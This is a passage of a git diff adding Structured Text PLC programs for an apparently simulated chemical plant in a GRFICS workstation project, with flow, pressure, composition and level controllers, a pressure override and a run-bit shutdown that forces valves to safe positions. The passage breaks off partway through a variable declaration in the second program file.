b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + 